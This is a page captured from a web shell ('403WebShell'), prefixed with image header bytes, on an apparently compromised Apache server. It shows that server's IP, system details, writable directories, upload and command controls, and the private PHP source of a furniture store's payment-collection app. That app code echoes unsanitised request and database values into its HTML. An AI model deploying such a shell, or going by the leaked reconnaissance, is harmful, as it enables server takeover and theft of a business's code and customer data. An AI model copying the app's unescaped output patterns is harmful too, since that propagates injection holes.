����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.44
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/debtcollector/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/debtcollector/nppBackup/generic.php.2025-01-03_002353.bak
<?php

$html = '<div style="margin:0 auto ;text-align:center;width:80%"><img src="../../image/warning.png"><h3>No se encontro cobrador, Error General 1 <a href="../main/index.php">Menu Principal</a></h3>
	</div>';
$html_error = '<div style="margin:0 auto ;text-align:center;width:80%"><img src="../../image/warning.png"><h3>No se encontro cobrador(registrado), Error General 2  <a href="index.html">Menu Principal</a></h3>
	</div>';
	
$titlepage="Phantom Pagos";
$idsmenu=2;

require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
require_once ("../../library/config.php");

//por si no soporta idioma español el servidor
$diassemana = array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sábado");
$meses = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");


	$dayNumber=strftime("%d");
	$pay_period="S";
	$pay_period2="M";
    $currentDay=strtoupper($diassemana[date('w')]);

if($_GET){
	
	$fechahoy =  date("d-m-Y");
	$semana = date("W");
	
	$id_collector = $_GET['id_collector'];
	//BUSCAMOS LA TABLA PENDING RUTE LOS FOLIOS QUE ESTAN ASIGNADOS A ESTE COBRADOR 
	//se filtra por dia de cobro, periodicidad
	
	
	$pos = new pos();
	$pending = $pos->getPendingRouteByColector($id_collector);
	$pending_route = $pending[2];
	print_r($pending_route);
	
	foreach($pending_route as $key=>$route)
	{
		$pending_route[$key]['mercancia']=$pos->getSaleDetailIdSale($route['sale_id'])[1];
	}
	
	//print_r($pending_route[2]['contract']);
}else{
	die($html);
}
?>

<!DOCTYPE html>

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
 	<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	  <!-- owl.carousel CSS
		============================================ -->
	 <!--<link rel="stylesheet" href="../../dist/css/sweetalert.css"> -->
	 <link rel="stylesheet" href="../../css/owl.carousel.css">
	 <link rel="stylesheet" href="../../css/owl.theme.css">
     <link rel="stylesheet" href="../../css/owl.transitions.css">
	   <!-- animate CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/animate.css">
	 <!-- mCustomScrollbar CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/scrollbar/jquery.mCustomScrollbar.min.css">
    <!-- metisMenu CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu.min.css">
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu-vertical.css">
    <!-- normalize CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/normalize.css">
	<!-- morrisjs CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/morrisjs/morris.css">
	 <!-- style CSS
		============================================ 
		-->
		 <link rel="stylesheet" href="../../style.css">
   
    <!-- responsive CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/responsive.css">
    <!-- modernizr JS
		============================================ -->
    <script src="../../js/vendor/modernizr-2.8.3.min.js"></script>
	 <!-- main CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/main.css">
	
	<!-- nalika Icon CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/nalika-icon.css">
	
	  <!-- Bootstrap CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/font-awesome.min.css">
	
	  <!-- responsive CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/responsive.css">
	
	<!-- Google Fonts
		============================================ -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:100,300,400,700,900" rel="stylesheet">
	
	    <style>
        
        /* Text alignment for body */
        body {
            text-align: center;
        }
          
        /* Styling h1 tag */
        h1 {
            color: green;
            text-align: center;
        }
          
        /* Styling modal */
        .modal:before {
            content: '';
            display: inline-block;
            height: 100%;
            vertical-align: middle;
        }
          
        .modal-dialog {
            display: inline-block;
            vertical-align: middle;
        }
          
        .modal .modal-content {
            padding: 20px 20px 20px 20px;
            -webkit-animation-name: modal-animation;
            -webkit-animation-duration: 0.5s;
            animation-name: modal-animation;
            animation-duration: 0.5s;
        }
          
        @-webkit-keyframes modal-animation {
            from {
                top: -100px;
                opacity: 0;
            }
            to {
                top: 0px;
                opacity: 1;
            }
        }
          
        @keyframes modal-animation {
            from {
                top: -100px;
                opacity: 0;
            }
            to {
                top: 0px;
                opacity: 1;
            }
        }
    </style>
	
	<title>Detalle Cliente</title>
</head>

<body>
   
<div class="panel-body panel-csm">
     
		<div class="nalika-profile">
				<div class="profile-dtl">
					
					<h2>Muebleria  <span class="min-dtn">Victoria</span></h2>
				</div>
				<a href="<?php echo $sitename.'application/main/index.php'?>" title="Inicio" class="btn btn-warning btn-flat"><i class="fa fa-home">  Regresar</i></a>
									
			</div>

			 		
        <div class="product-cart-area mg-b-30">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
					
                        <div class="product-cart-inner">
                            <div id="example-basic">
								
							<?php foreach($pending_route as $key=>$route){?>	
                               <h3> </h3>
                                <section>
                                   
                                    <div class="payment-details">
                                        <div class="form-group">
                                            <label for="card-number" class="form-label">CONTRATO *</label>
											<input readonly id="name-2" name="name-2" type="text" style="background:black" value="<?=$route['contract']?>"class="form-control" disabled >
                                        </div>
                                        <div class="form-group">
                                            <label for="card-number" class="form-label">NOMBRE*</label>
                                            <input readonly id="surname-2" name="surname" type="text" style="background:black" value="<?=$route['name']?>" class="form-control">
                                        </div>
                                        
                                        <div class="form-group">
                                            <label for="address" class="form-label">DIRECCION *</label>
                                            <input readonly id="address" name="address" type="text" style="background:black" value="<?=$route['direccion']?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label for="city" class="form-label">MERCANCIA *</label>
                                            <input readonly id="city" name="city" type="text" style="background:black" value="<?=$route['mercancia'][0]['item_name']?>" class="form-control">
                                        </div>
										<hr>
                                        <label class="form-label" >
											<b>Fecha de Pago:</b> <span><?= date("d-m-Y")?></span>
										</label>
										<hr>
										<label class="form-label" >
											<b>Monto de venta:</b> <span>$ <?=number_format($route['total'],2);?></span>
										</label>
										<hr>
										<label class="form-label" >
											<b>Saldo:</b> <span>$ <?=number_format($route['balance'],2);?></span>
										</label>
										<hr>
										
										 <div class="form-group">
											<label class="form-label" >
											<b>Abono:</b> <span>$ <?=number_format($route['pay_min'],2);?></span>
											</label>
											
                                   			 <button class="btn btn-primary m-y btnCobro"  data-id="<?=$key?>" key="<?=$route['sale_id']?>"  datatitle="Recibir Pago" dataparam="hargajual" val="<?=$route['pay_min']?>">Pago</button>
											 <button type="submit" class="btn btn-success btn-block" id="btnImprimir">Imprimir Ticket</button>
											 <hr>
										</div>
										</div>
                                </section>
							<form action="" id="form-<?=$key?>">
									<input type="hidden" name="sale_id"  id="sale_id" value="<?=$route['sale_id']?>">
									<input type="hidden" name="val" id="val" value="<?=$route['pay_min']?>" >
									<input type="hidden" name="id_collector" id="id_collector" value="<?=$id_collector?>">
								</form>
                               <?php }?>		
                                
								
								
								
                            </div>
							
							 <div class="mt-10">
									<nav aria-label="Page navigation example">
										<ul class="pagination">
											<li class="page-item"><a class="page-link">Contratos</a></li>
											<?php 
											for ($i=1; $i <= count($pending_route); $i++) { 
												 $contActual=$pending_route[$i-1]['contract'];
												echo "<li class=page-item ><a class=page-link val='".$contActual."' title='Contrato : ".$contActual."'>$i </a></li>";
												
											}
											?>
											<li class="page-item"><a class="page-link">Finalizar</a></li>
										</ul>
								</nav>
								</div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		
</div>	


<!-- Modal -->
<div class="modal" tabindex="-1" id="modal-form">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title">Recibir Pago </h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body" >
       	 <label for="paymin" class="form-label">Pago Minimo</label>
   		 <input type="text" style="background: black;" class="form-control" id="paymin"  placeholder="Pago minimo" disabled>
      </div>
	  
	 <div  id="nombre" style="display:none;">
		
		<div class="form-group input-group">
            <label for="pay" class="sr-only">
                          Cantidad Recibida
            </label>
               
                <input type="text" class="form-control" id="pay" placeholder="Pago diferente al minimo" value="INGRESE VALOR">
        </div>
		
		<div class="form-group input-group">
            <label for="password" class="sr-only">
                          Autorizacion
            </label>
               
                <input type="password" class="form-control" id="password" placeholder="Contraseña">
        </div>
					
	 </div>
		
	<hr>
	<div class="form-group">
		<label class="col-sm-4  control-label">
			<span id="infoproccesspayment"></span>
		</label>
		
	</div>
	  
      <div class="footer">
		 <button type="button" class="btn btn-success" id="btnRecibirPay" >Guardar</button>
        <button type="button" class="btn btn-danger" data-bs-dismiss="modal">Cancelar</button>
		<button type="button" class="btn btn-warning" id="change-pay1" onclick="muestra('nombre')" >Ingresar Otro Pago</button>
       
      </div>
	  
    </div>
  </div>
</div>
<?php
$d = new DateTime();
$year=  $d->format('Y');
?>
<div class="footer-copyright-area">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
                        <div class="footer-copy-right">
                            <p>Copyright © <?php echo $year;?> <a href="http://yusasoft.com">Sistemas Yusa</a> All rights reserved.</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>	

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>   
		
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>		
<!--<script src="../../dist/js/sweetalert.min.js" type="text/javascript"></script>  -->

<script src="../../js/notifications/notify.min.js"></script>

  <!-- wow JS
		============================================ -->
    <script src="../../js/wow.min.js"></script>
    <!-- price-slider JS
		============================================ -->
    <script src="../../js/jquery-price-slider.js"></script>
    <!-- meanmenu JS
		============================================ -->
    <script src="../../js/jquery.meanmenu.js"></script>
    <!-- sticky JS
		============================================ -->
    <script src="../../js/jquery.sticky.js"></script>
    <!-- scrollUp JS
		============================================ -->
    <script src="../../js/jquery.scrollUp.min.js"></script>
	 <!-- morrisjs JS
		============================================ -->
    <script src="../../js/sparkline/jquery.sparkline.min.js"></script>
    <script src="../../js/sparkline/jquery.charts-sparkline.js"></script>
    <!-- calendar JS
		============================================ -->
    <script src="../../js/calendar/moment.min.js"></script>
    <script src="../../js/calendar/fullcalendar.min.js"></script>
    <script src="../../js/calendar/fullcalendar-active.js"></script>

 <!-- wow JS
		============================================ -->
    <script src="../../js/wow.min.js"></script>
	
 <!-- owl.carousel JS
		============================================ -->
    <script src="../../js/owl.carousel.min.js"></script>	
	 <!-- tab JS
		============================================ -->
    <script src="../../js/tab.js"></script>
	
	 <!-- main JS
		============================================ -->
    <script src="../../js/main.js"></script>
	
	 <!-- wizard JS
		============================================ -->
    <script src="../../js/wizard/jquery.steps.js"></script>
    <script src="../../js/wizard/steps-active.js"></script>
    <!-- plugins JS
		============================================ -->
    <script src="../../js/plugins.js"></script>
    

</body>
<script>
		
    let current = 1;
    $('.page-link').click(function(event) {
		
	
	var one = 'Verifique Datos de  Cliente, Contrato# : ';
	var val=$(this).attr("val");
	
	var two = val;
	var joined = one + two;	
		
	 $.notify( joined, "info");
        event.preventDefault();
        var target = $(this).text();
        if (target == 'Anterior' && current > 1) {
            target = current - 1;
        } else if (target == 'Finalizar' && current < <?=count($pending_route)?>) {
            target = current + 1;
        }
        $(`#venta-${current}`).fadeOut("slow").addClass('d-none');
        $(`#venta-${target}`).fadeIn("slow").removeClass('d-none');
        current = target;
    });

	//abrir para confirmar el pago
	$('.btnCobro').click(function() {
		let form=$(`#form-${$(this).attr('data-id')}`).serializeArray();
		//$('#input-min').addClass('d-none')	
		$('#modal-form').modal('show');
		var val=$(this).attr("val");
		$("#paymin").val(val);
		

	})
	
	//cambiar pago minimo
	function muestra(id){
		document.getElementById(id).style='block';
	}
	
	//registrar pago
	$(document).on("click",'#btnRecibirPay',function(){
	var pay = $("#pay").val();
	var paymin = $("#paymin").val();
	
	
	if(paymin != '' || paymin != null)
	{
		
		if( (pay != '' || pay != null) && (isNaN(pay) == false) ){
			Swal.fire("pago difente")
			$("#pay").val("Engrese Pago");
			document.getElementById("#nombre").style='none';
			$('#modal-form').modal('hide');
			return;	
		}else{
			
		Swal.fire({
			  title: 'Enviar datos de cobro?',
			  text: "se guardaran los datos de cobro!",
			  icon: 'info',
			  showCancelButton: true,
			  confirmButtonColor: '#3085d6',
			  cancelButtonColor: '#d33',
			  confirmButtonText: 'Confirmar'
			}).then((result) => {
			  if (result.isConfirmed) {
				
				//vamos a la funcion de guardar pago
				
				RecibirPago();
				
				console.log("Guardar Datos de pago");
			  }
		})
		
			return;
		}
		
	}else{
		swal("Error de datos, Reporte a soporte");
		
	}
		
});


function RecibirPago(){
	var paymin = $("#paymin").val();
	var contract = $("#name-2").val();
	
	var value = {
		paymin: paymin,
		contract: contract,
		method : "save_pay"
	};
	$.ajax(
	{
		url : "c_pay.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result == 1){
				
				Swal.fire(
					  'Registrado!',
					  'Su informacion de pago ha sido recibida!.',
					  'success'
					)
					
				//Cerrar modal	
				$('#modal-form').modal('hide');
			}else{
				console.log("Error al guardar");
				$.notify({
					message: "Error Registro de pago, Verifique"
					
				},{
					type: 'danger',
					delay: 1000,
				});	
					
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
			
			$.notify({
					message: "Error Pago/Tabla o Error general"
					
				},{
					type: 'danger',
					delay: 1000,
				});	
					
		}
	});
}
		
		
</script>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit